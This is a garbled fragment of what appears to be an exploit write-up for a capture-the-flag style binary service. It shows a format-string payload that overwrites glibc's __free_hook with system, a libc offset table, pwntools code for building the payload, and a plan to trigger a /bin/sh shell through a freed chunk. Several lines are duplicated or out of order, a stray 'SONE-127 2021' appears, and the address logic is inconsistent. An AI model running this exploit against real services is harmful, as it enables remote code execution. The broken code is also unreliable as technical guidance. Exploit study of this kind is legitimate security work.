> echo AAAA%low%8$hn%high%9$hnBBBBaddr_lowaddr_high Where addr_low and addr_high are the low/high 2‑byte parts of __free_hook placed in the payload after the format string (so that they appear on the stack as the 8th and 9th arguments).
| Symbol | Offset (hex) | Address (example) | |-----------------|--------------|-------------------| | system | 0x4f550 | 0x7f5c190f550 | | __free_hook | 0x3ed8e8 | 0x7f5c193ed8e8 | | /bin/sh string| 0x1b75aa | 0x7f5c191b75aa | Use pwntools : libc = ELF('libc-2.31.so') system_addr = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base binsh = next(libc.search(b'/bin/sh')) + libc_base 5.3 Write system into __free_hook The binary uses malloc / free internally for the upload / download commands. By uploading a large payload we can control a heap chunk and then use the format‑string write to place the system address at __free_hook . SONE-127 2021
payload = b'A'*8 # padding for alignment payload += f"%lowc%8$hn".encode() payload += f"%high-lowc%9$hn".encode() payload += b'B'*8 payload += p64(target) # argument 8 payload += p64(target+2) # argument 9 Send the payload with echo and the service writes the low and high halves of system into __free_hook . Now we need a chunk that contains the string "/bin/sh" . The simplest way is to upload a file named sh.txt with that exact content. payload = b'A'*8 # padding for alignment payload
target = free_hook low = target & 0xffff high = (target >> 16) & 0xffff target = free_hook low = target & 0xffff
def main(): io = remote(HOST, PORT)